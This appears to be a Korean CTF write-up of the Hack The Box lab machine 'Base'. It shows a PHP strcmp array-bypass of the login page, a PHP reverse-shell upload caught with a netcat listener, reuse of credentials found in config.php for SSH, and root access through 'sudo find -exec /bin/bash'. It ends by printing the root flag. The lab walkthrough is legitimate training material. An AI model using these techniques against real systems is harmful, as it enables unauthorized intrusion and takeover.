[STARTING_POINT] Tier2 Base
Nmap
┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.129.95.184 -p- -Pn -n --open --min-rate 2000
[sudo] password for kali:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 15:59 +0900
Nmap scan report for 10.129.95.184
Host is up (0.21s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 34.67 seconds
Task
- port?
- 22,80
- login page path?
/login/login.php
- how many file in
/login?- path 로 접속하면 3개 있음.
- config.php
- login.php
- login.php.swp
- path 로 접속하면 3개 있음.
.swp?
swp 파일이란, 리눅스에서 vi편집기에서 작업을 하다가 정상적인 종료를 하지 않은 경우에 만들어지는 파일이다. 스와파일을 의미하며 작업 중 사용자의 의도와 무관하게 예기치 않는 종료로 인해 파일이 손상, 유실되는 경우를 대비한 백업 파일이다.
.swp을 클릭하면 다운 받을 수 있는데, 내용을 보면

login.php 파일을 작성한 흔적을 볼 수 있다.
strings 명령으로 더 깔끔하게 볼 수 있다.
Crack ?!?!?
여기서 중요한 소스코드를 발견할 수 있는데,
if (strcmp($password, $_POST['password']) == 0) {
if (strcmp($username, $_POST['username']) == 0) {
require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
내부에서 php 코드의 strcmp 함수로 사용자가 입력한 username, password와 변수 username, password를 비교하고 있다.
strcmp()
strcmp() 는 문자열을 비교하는 함수로, 문자열이 일치하면 0 (true) 일치 하지 않으면 1 (false)를 반환한다.
- 0 : true
- 1 : false
- 대소문자를 구분한다.
그리고 소스코드에서는 0일 경우를 일치한다고 생각하고 로그인을 통과시킨다.
- https://www.php.net/manual/en/function.strcmp.php 공식 문서에 의하면, strcmp 실패 시 NULL을 반환할 수 있다는 설명이 있다.
- https://www.moonding.co.kr/php-strcmp-authentication-bypass-vulnerability/ 그리고 해당 블로그에서 문자열의 타입 자체를 다르게(Array로) 바꾸면 typeError가 아닌 Null, 즉 0이 반환되어 조건이 참이된다고 이야기하고 있다. (PHP 5.3 ~ 8.0 미만)

login bypass
strcmp 취약점을 우회하여 로그인을 시도해보자. (입력값은 상관 x) burpsuite로 패킷을 잡고 username과 password의 파라미터를 다음과 같이 바꿔준다.
- username[]
- password[] 그러면 전달될 때 입력값이 Array 로 날아가기에 Null이 반환되고, if 문을 통과하여 로그인이 가능해진다.
foothold
upload
그러면 /upload.php (gobuster로 찾은 경로) 에 접근이 가능해지는데, 웹쉘을 올려도 경로를 알 수가 없다.
브루트 포싱을 통해 찾아보자.
gobuster dir -u http://10.129.95.184/ -w /usr/share/wordlists/dirb/big.txt
그러면 _uploaded 라는 디렉터리를 찾을 수 있고, 접속해보면 올라간 웹쉘을 확인할 수 있다.
올린 웹쉘을 테스트 해보면 아주아주아주 잘 작동하는데, 리버스 쉘을 따면 될 것 같다.
- 사용한 웹 쉘
- https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
- 해당 웹쉘을 사용할 때는 아이피랑 포트를 다 바꿔줘야한다
nc
sudo nc -lnvp 1337
웹쉘 실행 (`/_uploaded/shell.php’)
- 쉘 획득!
- 쉘 안정화
script /dev/null -c bash
config.php
아까 login.php 소스 코드를 확인했을 때, username과 password 변수를 config.php에서 불러오고 있음을 알 수 있다. config.php 파일을 확인해보자!!
www-data@base:/var/www/html/login$ cat config.php
cat config.php
<?php
$username = "admin";
$password = "thisisagoodpassword";
이렇게 계정 정보까지 얻었다.
Lateral Movement
홈디렉터리를 살펴보면,
www-data@base:/home$ ls
ls
john
john 이라는 유저가 있음을 알 수 있다.
SSH 접속
우선 john 유저로 접속이 되는지 시도해보면,
┌──(kali㉿kali)-[~/Documents/htb]
└─$ ssh john@10.129.95.184
The authenticity of host '10.129.95.184 (10.129.95.184)' can't be established.
ED25519 key fingerprint is: SHA256:k5IdZDsfwGXeUvZjXYi4d9cAO2nJByqN20fOhFdpZTo
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.95.184' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
john@10.129.95.184's password:
password를 필요로 하는 것을 볼 수 있는데, 알아낸 패스워드가 thisisagoodpassword 밖에 없다. 이걸 써보면,
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-151-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Mar 22 08:44:34 UTC 2026
System load: 0.0 Processes: 112
Usage of /: 62.8% of 2.83GB Users logged in: 0
Memory usage: 8% IP address for ens160: 10.129.95.184
Swap usage: 0%
10 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
john@base:~$
로그인이 된다!!!
Privilege Escalation
john이 sudo로 실행할 수 있는 명령 목록을 확인해봤다.
sudo -l
sudo -l: 현재 사용자가 sudo로 실행할 수 있는 명령 목록을 보여주는 명령
john@base:/$ sudo -l
[sudo] password for john:
Matching Defaults entries for john on base:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on base:
(root : root) /usr/bin/find
/usr/bin/find 명령을 sudo 권한(root)으로 실행할 수 있는 것을 확인할 수 있다.
find command
find 명령의 도움말을 보면 -exec 라는 옵션을 쓸 수 있다.
해당 옵션은 파일을 찾고 이어서 어떠한 명령을 내릴 수 있는 옵션이다.
이를 이용하면, root 권한으로 명령을 수행할 수 있을 것으로 보인다.
sudo find . -exec /bin/bash \; -quit
find .: 현재 디렉터리부터 탐색-exec /bin/sh: find가 대상을 찾을 때마다/bin/sh실행\;:-exec끝을 의미-exec command {} \;-exec: 찾은 대상마다 뒤의 명령 실행{}: 현재 찾은 파일명/경로로 치환;:-exec의 끝- 근데 명령어 구분자로 쓰이기 때문에 백슬래시로 이스케이프해주었다.
-quit: 첫 결과를 처리한 뒤 find 종료 위 명령은 아무 항목이나 하나 잡아서 쉘 실행하는게 목적인 코드이다.
실행 해보면?
john@base:~$ sudo find . -exec /bin/bash \; -quit
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
이렇게 root 권한을 얻을 수 있다.
root flag
/root 디렉터리에서 확인할 수 있다.
# pwd
/root
# cat root.txt
51709519ea18ab37dd6fc58096bea949← ALL POSTS